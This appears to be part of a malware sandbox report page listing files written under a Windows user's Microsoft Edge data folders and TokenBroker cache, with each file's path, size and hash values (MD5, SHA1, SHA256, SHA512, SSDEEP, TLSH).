SHA512 0e3b323905095a93f04d56d3640183f1a5d5b0b0eab39d9ad265f07731df62ef4a738d87f4c7e1a00e2ff2ae15c0279c24470810d812a5dc85f7a2e36de1686a
SSDEEP 768:HBWPc2D7pLuLjWKWvKeEe8F1+UoAYDCx9Tuqh0VfUC9xbog/OVkSHlLlACy7Ero/:HBWPc21EjWKWvKeEeu1jaFSHlLiF7P4I
TLSH
T1ADE2EB7B780CCB7E4FC04A9DDD1A7F9B6EA802CB9698894047FE945C02C67EA51160DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c65b764d-9c6e-4872-9df3-422fb37aca02.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\c65b764d-9c6e-4872-9df3-422fb37aca02.tmp
Size 10KB
SHA256 3fcdebc9c2bb6ff4e9480298b1208f86ece13d4bd09a468efd585ea028282a9e
MD5 5d59b5a2c982b2b6cbd7be0c0ebffe0b
SHA1 197aa99f03e0d8605e14c2d630b1e604fd4442e1
SHA512 5fa39f9f09cb2aba7b68092b92ec84cf4c7be1595bbfe636c7a7e097673f0e94be0931917047e1506c286c52b5159b1423e67e78f3594decacd8451e6f7948e3
SSDEEP 192:sxZbR4sP/fAsqFUp9PjIdpiiHW6+WNRNwhbfYapQFu8mIg5fJ:sxZbvP/fAsqgUdHbCfxX
TLSH
T18932DA51AD68A97B8CC7E20DBB55BF13E6F55032A0D10E58AAFCC61C05E7BDD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c023eb79-5d49-4ca7-8469-19ecc091ecb7.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\c023eb79-5d49-4ca7-8469-19ecc091ecb7.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\OriginTrials\0.0.1.7\manifest.json
Size 43B
SHA256 81bd82ac27612a58be30a72dd8956b13f883e32ffb54a58076bd6a42b8afaeea
MD5 af3a9104ca46f35bb5f6123d89c25966
SHA1 1ffb1b0aa9f44bdbc57bdf4b98d26d3be0207ee8
SHA512 6a7a543fa2d1ead3574b4897d2fc714bb218c60a04a70a7e92ecfd2ea59d67028f91b6a2094313f606560087336c619093f1d38d66a3c63a1d1d235ca03d36d1
MD5 SHA1 SHA512

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\WorkspacesNavigationComponent\1.0.0.5\manifest.json
Size 160B
SHA256 31952875f8bb2e71f49231c95349945ffc0c1dd975f06309a0d138f002cfd23d
MD5 c3911ceb35539db42e5654bdd60ac956
SHA1 71be0751e5fc583b119730dbceb2c723f2389f6c
SHA512 d8b2c7c5b7105a6f0c4bc9c79c05b1202bc8deb90e60a037fec59429c04fc688a745ee1a0d06a8311466b4d14e2921dfb4476104432178c01df1e99deb48b331
TLSH
T1F1C08C73CC08AE7911B14B371B214642E3B8030B600039093A32084C0BA47B00262328
MD5 SHA1 SHA512 TLSH

Submit Download

a70db44d-61ac-409f-a666-ca7abbb2810b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\a70db44d-61ac-409f-a666-ca7abbb2810b.tmp
Size 9KB
SHA256 ef7681f813c4d140b5febf322bde2be1b0d151f9a51a2560e78d1631fc015aa8
MD5 3445d3c50b5c262113d21a453fcdf240
SHA1 5ad34cba8c624468b5e8a4dcb87a205a21b4cbc1
SHA512 a7122e05dea3aa44086807fb6ae902793ec9025335a28217206adbf88ca9788cd81af9bf8fe81472c5814880bceeafe47aee202d0940e1c125470ea1d9aba418
SSDEEP 192:z7ON/6IE115QmiU1obXBZzIGmApjzor2Ro0eIXX327it/rqgcU8:z7ON/6D1xWXfzIGmAl89IXkiiU8
TLSH
T171220A75ACB8EC2B9DE3B508F0873A639EA5107799855F54E6D84F1C00DB348270E917
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b40b4cc1-5dd9-4f0d-bda9-70e9f6607483.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\b40b4cc1-5dd9-4f0d-bda9-70e9f6607483.tmp
Size 8KB
SHA256 eaef808dd06867464849f2cd107926243e3654751ddae998f86fe27fd90484eb
MD5 53e5c7e1bcb848afb8e7e5c760ec780e
SHA1 2ccd303ad0c5fac2b94b5f321a1aefd173b8e5fa
SHA512 a04029a0cf80474ce9ae23f9c83a0280b678074eca9f6d3218807fe6fdfea2380995188ca7f8ee1869ac4cdcc5282e280eaf11975c615f112dc550b1518bda96
SSDEEP 192:2ONK6IEGQmiUydfTauIGmApjzor2Ro0eIXX327Ht/rqgcU6:2ONK6DiOauIGmAl89IXkHiU6
TLSH
T15D120B71ACB9EC2B5EE3B908F0873663AEA51077D9855F54E6D84B1C00DB35C270E827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ce5b08e1-b73f-406f-af73-1f9082efff5d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ce5b08e1-b73f-406f-af73-1f9082efff5d.tmp
Size 8KB
SHA256 950a13d80d598093755bd10e5d296db1247c9c4012c754c63461af8c9c9f8d3f
MD5 670c6823ab467d720a2aef34f16f8378
SHA1 82374bacf5ad693cd15c107c2d9fc05dfd823ff2
SHA512 f074da97dafb38ad8d543c1fadcc68a96b8590a923247ba515d4fdbca1f936e739ac6c8163a816dbc45770f6429aac88e74737ccac69934dd17d2a9d9551ed0a
SSDEEP 192:aONQ6IE7QmiUyEfTPuIGmApjzor2Ro0nC7stsqU6:aONQ6DtVPuIGmAl8HshU6
TLSH
T14502EA35ECB8BC6B9FF3AD08B4872A239EA5113BD6951F54DAE85F1C00DB24C1306927
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

30999f6d-ce96-4bbd-8169-416de87c619f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\30999f6d-ce96-4bbd-8169-416de87c619f.tmp
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

38d1a351-ed43-42eb-80a3-8d35eb0de118.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\38d1a351-ed43-42eb-80a3-8d35eb0de118.tmp
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

d0712a87-78c3-4761-93ef-9a2db99a5525.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\d0712a87-78c3-4761-93ef-9a2db99a5525.tmp
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

3f64b34d-1fb7-4c19-9bd6-b8435d1cb435.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\3f64b34d-1fb7-4c19-9bd6-b8435d1cb435.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 d688c1d65b29af7e9fa7c7a23642c889efe391939e49805d781da801b5e71441
MD5 f7fe06285a78573c9a0bbc8e347f71d3
SHA1 43f6e3040540e78a17c86b2e4df26f5670b044ec
SHA512 ed994be8c8c7792e782aebd31ac32402cb3246eb9842e39a6824a28e69388eff32676d290a45ddc32075fb0407c7a072225cf73d63ef5a6711be2bc5c6d2880b
TLSH
T14E41F858B7F90148B7B3AF5AAFF6A86E487A7C372E07D45D10110E4E0662E40C8B1B37
MD5 SHA1 SHA512 TLSH

Submit Download